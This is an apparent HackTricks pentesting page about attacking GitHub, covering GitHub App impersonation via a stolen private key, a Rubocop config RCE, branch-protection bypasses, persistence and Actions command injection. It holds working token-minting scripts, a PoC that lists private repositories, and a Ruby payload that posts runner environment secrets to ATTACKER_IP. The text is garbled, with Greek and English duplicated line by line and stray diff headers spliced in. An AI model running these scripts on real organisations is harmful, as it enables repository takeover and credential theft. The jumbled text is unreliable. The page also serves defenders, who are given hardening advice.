For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
Επιπλέον, όπως εξηγείται στις βασικές πληροφορίες, **οι οργανισμοί μπορούν να δώσουν/αρνηθούν πρόσβαση σε εφαρμογές τρίτων** σε πληροφορίες/αποθετήρια/ενέργειες που σχετίζονται με τον οργανισμό.
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
#### Υποκίνηση μιας Εφαρμογής GitHub με το ιδιωτικό της κλειδί (JWT → tokens πρόσβασης εγκατάστασης)
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
Αν αποκτήσετε το ιδιωτικό κλειδί (PEM) μιας Εφαρμογής GitHub, μπορείτε να υποκρίνεστε πλήρως την εφαρμογή σε όλες τις εγκαταστάσεις της:
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
- Δημιουργήστε ένα βραχυχρόνιο JWT υπογεγραμμένο με το ιδιωτικό κλειδί
- Καλέστε το REST API της Εφαρμογής GitHub για να απαριθμήσετε τις εγκαταστάσεις
- Δημιουργήστε tokens πρόσβασης ανά εγκατάσταση και χρησιμοποιήστε τα για να καταγράψετε/κλωνοποιήσετε/σπρώξετε σε αποθετήρια που έχουν παραχωρηθεί σε αυτή την εγκατάσταση
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
Απαιτήσεις:
- Ιδιωτικό κλειδί Εφαρμογής GitHub (PEM)
- ID Εφαρμογής GitHub (αριθμητικό). Το GitHub απαιτεί το iss να είναι το ID της Εφαρμογής
- Generate a shortlived JWT signed with the private key
- Call the GitHub App REST API to enumerate installations
- Mint perinstallation access tokens and use them to list/clone/push to repositories granted to that installation
Requirements:
- GitHub App private key (PEM)
- GitHub App ID (numeric). GitHub requires iss to be the App ID
Create JWT (RS256):
Δημιουργία JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Λίστα εγκαταστάσεων για την αυθεντικοποιημένη εφαρμογή:
List installations for the authenticated app:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Δημιουργήστε ένα διακριτικό πρόσβασης εγκατάστασης (έγκυρο ≤ 10 λεπτά):
Create an installation access token (valid ≤ 10 minutes):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Χρησιμοποιήστε το token για να αποκτήσετε πρόσβαση στον κώδικα. Μπορείτε να κλωνοποιήσετε ή να σπρώξετε χρησιμοποιώντας τη μορφή URL xaccesstoken:
Use the token to access code. You can clone or push using the xaccesstoken URL form:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Προγραμματική PoC για να στοχεύσετε μια συγκεκριμένη οργάνωση και να καταγράψετε ιδιωτικά αποθετήρια (PyGithub + PyJWT):
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
@@ -240,53 +253,57 @@ print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Σημειώσεις:
- Τα tokens εγκατάστασης κληρονομούν ακριβώς τα δικαιώματα επιπέδου αποθετηρίου της εφαρμογής (για παράδειγμα, contents: write, pull_requests: write)
- Τα tokens λήγουν σε ≤10 λεπτά, αλλά νέα tokens μπορούν να δημιουργηθούν επ' αόριστον όσο διατηρείτε το ιδιωτικό κλειδί
- Μπορείτε επίσης να απαριθμήσετε τις εγκαταστάσεις μέσω του REST API (GET /app/installations) χρησιμοποιώντας το JWT
## Συμβιβασμός & Κατάχρηση Github Action
Notes:
- Installation tokens inherit exactly the apps repositorylevel permissions (for example, contents: write, pull_requests: write)
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
Υπάρχουν αρκετές τεχνικές για να συμβιβάσετε και να καταχραστείτε ένα Github Action, ελέγξτε τις εδώ:
## Compromise & Abuse Github Action
There are several techniques to compromise and abuse a Github Action, check them here:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Κατάχρηση τρίτων GitHub Apps που εκτελούν εξωτερικά εργαλεία (Rubocop extension RCE)
## Abusing thirdparty GitHub Apps running external tools (Rubocop extension RCE)
Ορισμένα GitHub Apps και υπηρεσίες αναθεώρησης PR εκτελούν εξωτερικούς ελέγχους/SAST κατά των pull requests χρησιμοποιώντας αρχεία ρυθμίσεων που ελέγχονται από το αποθετήριο. Εάν ένα υποστηριζόμενο εργαλείο επιτρέπει τη δυναμική φόρτωση κώδικα, ένα PR μπορεί να επιτύχει RCE στον εκτελεστή της υπηρεσίας.
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repositorycontrolled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the services runner.
Παράδειγμα: Το Rubocop υποστηρίζει τη φόρτωση επεκτάσεων από τη YAML ρύθμισή του. Εάν η υπηρεσία περάσει ένα .rubocop.yml που παρέχεται από το αποθετήριο, μπορείτε να εκτελέσετε αυθαίρετο Ruby απαιτώντας ένα τοπικό αρχείο.
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repoprovided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
- Οι συνθήκες ενεργοποίησης συνήθως περιλαμβάνουν:
- Το εργαλείο είναι ενεργοποιημένο στην υπηρεσία
- Το PR περιέχει αρχεία που αναγνωρίζει το εργαλείο (για το Rubocop: .rb)
- Το αποθετήριο περιέχει το αρχείο ρύθμισης του εργαλείου (το Rubocop αναζητά το .rubocop.yml οπουδήποτε)
- Trigger conditions usually include:
- The tool is enabled in the service
- The PR contains files the tool recognizes (for Rubocop: .rb)
- The repo contains the tools config file (Rubocop searches for .rubocop.yml anywhere)
Εκμεταλλευτείτε τα αρχεία στο PR:
Exploit files in the PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
- ./ext.rb
```
ext.rb (εξαγωγή μεταβλητών περιβάλλοντος runner):
ext.rb (exfiltrate runner env vars):
```ruby
require 'net/http'
require 'uri'
@@ -297,92 +314,99 @@ json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
warn e.message
end
```
Επίσης, συμπεριλάβετε ένα αρκετά μεγάλο ψεύτικο αρχείο Ruby (π.χ., main.rb) ώστε ο linter να εκτελείται πραγματικά.
Επιπτώσεις που παρατηρήθηκαν στην πραγματικότητα:
- Πλήρης εκτέλεση κώδικα στον παραγωγικό runner που εκτέλεσε τον linter
- Εξαγωγή ευαίσθητων μεταβλητών περιβάλλοντος, συμπεριλαμβανομένου του ιδιωτικού κλειδιού GitHub App που χρησιμοποιείται από την υπηρεσία, API keys, DB credentials, κ.λπ.
- Με ένα διαρρεύσαν ιδιωτικό κλειδί GitHub App μπορείτε να δημιουργήσετε tokens εγκατάστασης και να αποκτήσετε πρόσβαση ανάγνωσης/εγγραφής σε όλα τα αποθετήρια που έχουν παραχωρηθεί σε αυτήν την εφαρμογή (βλ. την παραπάνω ενότητα σχετικά με την προσποίηση GitHub App)
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
Κατευθυντήριες γραμμές ενίσχυσης για υπηρεσίες που εκτελούν εξωτερικά εργαλεία:
- Αντιμετωπίστε τις ρυθμίσεις εργαλείων που παρέχονται από το αποθετήριο ως μη αξιόπιστο κώδικα
- Εκτελέστε εργαλεία σε αυστηρά απομονωμένα sandbox χωρίς ευαίσθητες μεταβλητές περιβάλλοντος
- Εφαρμόστε πιστοποιήσεις ελάχιστης προνομιακής πρόσβασης και απομόνωση συστήματος αρχείων, και περιορίστε/αρνηθείτε την έξοδο δικτύου για εργαλεία που δεν απαιτούν πρόσβαση στο διαδίκτυο
Impact observed in the wild:
- Full code execution on the production runner that executed the linter
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
## Παράκαμψη Προστασίας Κλάδου
Hardening guidelines for services running external tools:
- Treat repositoryprovided tool configs as untrusted code
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
- Apply leastprivilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that dont require internet access
- **Απαιτήστε έναν αριθμό εγκρίσεων**: Εάν έχετε παραβιάσει αρκετούς λογαριασμούς, μπορεί να αποδεχθείτε τα PR σας από άλλους λογαριασμούς. Εάν έχετε μόνο τον λογαριασμό από τον οποίο δημιουργήσατε το PR, δεν μπορείτε να αποδεχθείτε το δικό σας PR. Ωστόσο, εάν έχετε πρόσβαση σε ένα **Github Action** περιβάλλον μέσα στο repo, χρησιμοποιώντας το **GITHUB_TOKEN** μπορεί να είστε σε θέση να **εγκρίνετε το PR σας** και να αποκτήσετε 1 έγκριση με αυτόν τον τρόπο.
- _Σημείωση για αυτό και για τον περιορισμό των Code Owners ότι συνήθως ένας χρήστης δεν θα μπορεί να εγκρίνει τα δικά του PR, αλλά αν μπορείτε, μπορείτε να το εκμεταλλευτείτε για να αποδεχθείτε τα PR σας._
- **Ανακαλέστε τις εγκρίσεις όταν προστεθούν νέες δεσμεύσεις**: Εάν αυτό δεν έχει ρυθμιστεί, μπορείτε να υποβάλετε νόμιμο κώδικα, να περιμένετε μέχρι να το εγκρίνει κάποιος και να προσθέσετε κακόβουλο κώδικα και να το συγχωνεύσετε στον προστατευμένο κλάδο.
- **Απαιτήστε αναθεωρήσεις από τους Code Owners**: Εάν αυτό είναι ενεργοποιημένο και είστε Code Owner, μπορείτε να κάνετε ένα **Github Action να δημιουργήσει το PR σας και στη συνέχεια να το εγκρίνετε εσείς οι ίδιοι**.
- Όταν ένα **CODEOWNER αρχείο είναι λανθασμένα ρυθμισμένο** το Github δεν παραπονιέται αλλά δεν το χρησιμοποιεί. Επομένως, εάν είναι λανθασμένα ρυθμισμένο, η **προστασία Code Owners δεν εφαρμόζεται.**
- **Επιτρέψτε σε καθορισμένους ηθοποιούς να παρακάμψουν τις απαιτήσεις αιτήσεων έλξης**: Εάν είστε ένας από αυτούς τους ηθοποιούς μπορείτε να παρακάμψετε τις προστασίες αιτήσεων έλξης.
- **Συμπεριλάβετε διαχειριστές**: Εάν αυτό δεν έχει ρυθμιστεί και είστε διαχειριστής του repo, μπορείτε να παρακάμψετε αυτές τις προστασίες κλάδου.
- **Απαγωγή PR**: Μπορείτε να είστε σε θέση να **τροποποιήσετε το PR κάποιου άλλου** προσθέτοντας κακόβουλο κώδικα, εγκρίνοντας το προκύπτον PR εσείς οι ίδιοι και συγχωνεύοντας τα πάντα.
- **Αφαίρεση Προστασιών Κλάδου**: Εάν είστε **διαχειριστής του repo μπορείτε να απενεργοποιήσετε τις προστασίες**, να συγχωνεύσετε το PR σας και να επαναφέρετε τις προστασίες.
- **Παράκαμψη προστασιών push**: Εάν ένα repo **επιτρέπει μόνο σε ορισμένους χρήστες** να στέλνουν push (συγχώνευση κώδικα) σε κλάδους (η προστασία κλάδου μπορεί να προστατεύει όλους τους κλάδους καθορίζοντας το wildcard `*`).
- Εάν έχετε **δικαιώματα εγγραφής στο repo αλλά δεν επιτρέπεται να στείλετε κώδικα** λόγω της προστασίας κλάδου, μπορείτε να **δημιουργήσετε μια νέα κλάδο** και μέσα σε αυτήν να δημιουργήσετε μια **github action που ενεργοποιείται όταν στέλνεται κώδικας**. Καθώς η **προστασία κλάδου δεν θα προστατεύει την κλάδο μέχρι να δημιουργηθεί**, αυτή η πρώτη αποστολή κώδικα στην κλάδο θα **εκτελέσει την github action**.
## Branch Protection Bypass
## Παράκαμψη Προστασιών Περιβαλλόντων
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
- **Dismiss approvals when new commits are pushed**: If this isnt set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
- **Include administrators**: If this isnt set and you are admin of the repo, you can bypass this branch protections.
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
Για μια εισαγωγή σχετικά με [**Github Environment ελέγξτε τις βασικές πληροφορίες**](basic-github-information.md#git-environments).
## Bypass Environments Protections
Σε περίπτωση που ένα περιβάλλον μπορεί να **προσεγγιστεί από όλους τους κλάδους**, **δεν είναι προστατευμένο** και μπορείτε εύκολα να αποκτήσετε πρόσβαση στα μυστικά μέσα στο περιβάλλον. Σημειώστε ότι μπορεί να βρείτε repos όπου **όλοι οι κλάδοι είναι προστατευμένοι** (καθορίζοντας τα ονόματά τους ή χρησιμοποιώντας `*`) σε αυτή την περίπτωση, **βρείτε έναν κλάδο όπου μπορείτε να στείλετε κώδικα** και μπορείτε να **εξαγάγετε** τα μυστικά δημιουργώντας μια νέα github action (ή τροποποιώντας μία).
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
Σημειώστε ότι μπορεί να βρείτε την ακραία περίπτωση όπου **όλοι οι κλάδοι είναι προστατευμένοι** (μέσω wildcard `*`) και καθορίζεται **ποιος μπορεί να στείλει κώδικα στους κλάδους** (_μπορείτε να το καθορίσετε αυτό στην προστασία κλάδου_) και **ο χρήστης σας δεν επιτρέπεται**. Μπορείτε να εκτελέσετε μια προσαρμοσμένη github action γιατί μπορείτε να δημιουργήσετε μια κλάδο και να χρησιμοποιήσετε το trigger push πάνω της. Η **προστασία κλάδου επιτρέπει την αποστολή σε μια νέα κλάδο, οπότε η github action θα ενεργοποιηθεί**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Σημειώστε ότι **μετά τη δημιουργία** του κλάδου, η **προστασία του κλάδου θα ισχύει για τον νέο κλάδο** και δεν θα μπορείτε να τον τροποποιήσετε, αλλά μέχρι τότε θα έχετε ήδη εξάγει τα μυστικά.
## Επιμονή
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
- Δημιουργία **token χρήστη**
- Κλοπή **github tokens** από **μυστικά**
- **Διαγραφή** των **αποτελεσμάτων** ροής εργασίας και **κλάδων**
- Δώστε **περισσότερες άδειες σε όλη την οργάνωση**
- Δημιουργία **webhooks** για εξαγωγή πληροφοριών
- Πρόσκληση **εξωτερικών συνεργατών**
- **Αφαίρεση** των **webhooks** που χρησιμοποιούνται από το **SIEM**
- Δημιουργία/τροποποίηση **Github Action** με **πίσω πόρτα**
- Βρείτε **ευάλωτο Github Action για εκτέλεση εντολών** μέσω τροποποίησης της τιμής **μυστικού**
## Persistence
### Ψεύτικες Δεσμεύσεις - Πίσω πόρτα μέσω δεσμεύσεων αποθετηρίου
- Generate **user token**
- Steal **github tokens** from **secrets**
- **Deletion** of workflow **results** and **branches**
- Give **more permissions to all the org**
- Create **webhooks** to exfiltrate information
- Invite **outside collaborators**
- **Remove** **webhooks** used by the **SIEM**
- Create/modify **Github Action** with a **backdoor**
- Find **vulnerable Github Action to command injection** via **secret** value modification
Στο Github είναι δυνατό να **δημιουργήσετε ένα PR σε ένα αποθετήριο από ένα fork**. Ακόμα και αν το PR **δεν γίνει αποδεκτό**, μια **δέσμευση** id μέσα στο αρχικό αποθετήριο θα δημιουργηθεί για την έκδοση fork του κώδικα. Επομένως, ένας επιτιθέμενος **θα μπορούσε να επιμείνει να χρησιμοποιήσει μια συγκεκριμένη δέσμευση από ένα φαινομενικά νόμιμο αποθετήριο που δεν δημιουργήθηκε από τον ιδιοκτήτη του αποθετηρίου**.
### Imposter Commits - Backdoor via repo commits
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
Όπως [**αυτό**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
Για περισσότερες πληροφορίες, ελέγξτε [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Αναφορές
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
- [Πώς εκμεταλλευτήκαμε το CodeRabbit: από μια απλή PR σε RCE και δικαιώματα εγγραφής σε 1M αποθετήρια](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Επεκτάσεις Rubocop (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Αυθεντικοποίηση με μια εφαρμογή GitHub (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Λίστα εγκαταστάσεων για την αυθεντικοποιημένη εφαρμογή](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Δημιουργία ενός διακριτικού πρόσβασης εγκατάστασης για μια εφαρμογή](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
## References
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,5 @@
# Gh Actions - Artifact Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,5 @@
# GH Actions - Cache Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,89 +2,97 @@
{{#include ../../../banners/hacktricks-training.md}}
## Κατανόηση του κινδύνου
## Understanding the risk
Το GitHub Actions αποδίδει εκφράσεις ${{ ... }} πριν εκτελεστεί το βήμα. Η αποδοσμένη τιμή επικολλάται στο πρόγραμμα του βήματος (για run steps, ένα shell script). Αν ενθέσετε μη αξιόπιστη είσοδο απευθείας μέσα σε run:, ο επιτιθέμενος ελέγχει μέρος του shell προγράμματος και μπορεί να εκτελέσει αυθαίρετες εντολές.
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the steps program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Βασικά σημεία:
- Η απόδοση (rendering) γίνεται πριν την εκτέλεση. Το run script δημιουργείται με όλες τις εκφράσεις επιλυμένες και στη συνέχεια εκτελείται από το shell.
- Πολλά contexts περιέχουν πεδία που ελέγχονται από χρήστες ανάλογα με το triggering event (issues, PRs, comments, discussions, forks, stars, κ.λπ.). Δείτε την αναφορά για μη αξιόπιστη είσοδο: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Το quoting του shell μέσα σε run: δεν αποτελεί αξιόπιστη άμυνα, επειδή η injection συμβαίνει στο στάδιο της απόδοσης του template. Οι επιτιθέμενοι μπορούν να διαφύγουν από εισαγωγικά ή να εισάγουν operators μέσω κατασκευασμένης εισόδου.
Key points:
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
## Ευάλωτο μοτίβο → RCE on runner
## Vulnerable pattern → RCE on runner
Vulnerable workflow (triggered when someone opens a new issue):
Ευάλωτο workflow (ενεργοποιείται όταν κάποιος ανοίγει ένα νέο issue):
```yaml
name: New Issue Created
on:
issues:
types: [opened]
issues:
types: [opened]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
Εάν ένας attacker ανοίξει ένα issue με τίτλο $(id), το rendered step γίνεται:
If an attacker opens an issue titled $(id), the rendered step becomes:
```sh
echo "New issue $(id) created"
```
Η αντικατάσταση εντολής εκτελεί id στον runner. Παράδειγμα εξόδου:
The command substitution runs id on the runner. Example output:
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
Γιατί τα εισαγωγικά δεν σας σώζουν:
- Οι εκφράσεις αξιολογούνται πρώτα και στη συνέχεια εκτελείται το προκύπτον script. Αν η μη αξιόπιστη τιμή περιέχει $(...), `;`, `"`/`'` ή χαρακτήρες νέας γραμμής, μπορεί να τροποποιήσει τη δομή του προγράμματος παρά τα εισαγωγικά σας.
## Ασφαλές πρότυπο (shell variables via env)
Why quoting doesnt save you:
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
## Safe pattern (shell variables via env)
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
Σωστή αντιμετώπιση: αντιγράψτε την μη αξιόπιστη είσοδο σε μια μεταβλητή περιβάλλοντος, και μετά χρησιμοποιήστε την εγγενή επέκταση shell ($VAR) στο script εκτέλεσης. Μην την επανα-ενσωματώνετε με ${{ ... }} μέσα στην εντολή.
```yaml
# safe
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
```
Σημειώσεις:
- Αποφύγετε τη χρήση ${{ env.TITLE }} μέσα σε run:. Αυτό επανεισάγει το template rendering στην εντολή και φέρνει τον ίδιο κίνδυνο injection.
- Προτιμήστε τη μεταβίβαση μη-αξιόπιστων εισροών μέσω του mapping env: και την αναφορά τους με $VAR μέσα σε run:.
Notes:
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
## Reader-triggerable surfaces (treat as untrusted)
Λογαριασμοί με μόνο read permission σε δημόσια repositories μπορούν ακόμα να ενεργοποιήσουν πολλά events. Οποιοδήποτε πεδίο σε contexts που προέρχονται από αυτά τα events πρέπει να θεωρείται attacker-controlled εκτός αν αποδειχθεί το αντίθετο. Παραδείγματα:
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
- issues, issue_comment
- discussion, discussion_comment (οι οργανισμοί μπορούν να περιορίσουν τις συζητήσεις)
- discussion, discussion_comment (orgs can restrict discussions)
- pull_request, pull_request_review, pull_request_review_comment
- pull_request_target (επικίνδυνο αν χρησιμοποιηθεί λάθος, τρέχει στο base repo context)
- pull_request_target (dangerous if misused, runs in base repo context)
- fork (anyone can fork public repos)
- watch (starring a repo)
- Indirectly via workflow_run/workflow_call chains
Ποια συγκεκριμένα πεδία είναι attacker-controlled εξαρτάται από το event. Συμβουλευτείτε τον οδηγό Untrusted input του GitHub Security Lab: https://securitylab.github.com/resources/github-actions-untrusted-input/
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
## Practical tips
- Μειώστε στο ελάχιστο τη χρήση expressions μέσα σε run:. Προτιμήστε mapping env: + $VAR.
- Αν πρέπει να μετασχηματίσετε input, κάντε το στο shell χρησιμοποιώντας ασφαλή εργαλεία (printf %q, jq -r, κ.λπ.), ξεκινώντας πάντα από μια shell variable.
- Να είστε ιδιαίτερα προσεκτικοί όταν κάνετε interpolation σε branch names, PR titles, usernames, labels, discussion titles, και PR head refs μέσα σε scripts, command-line flags ή file paths.
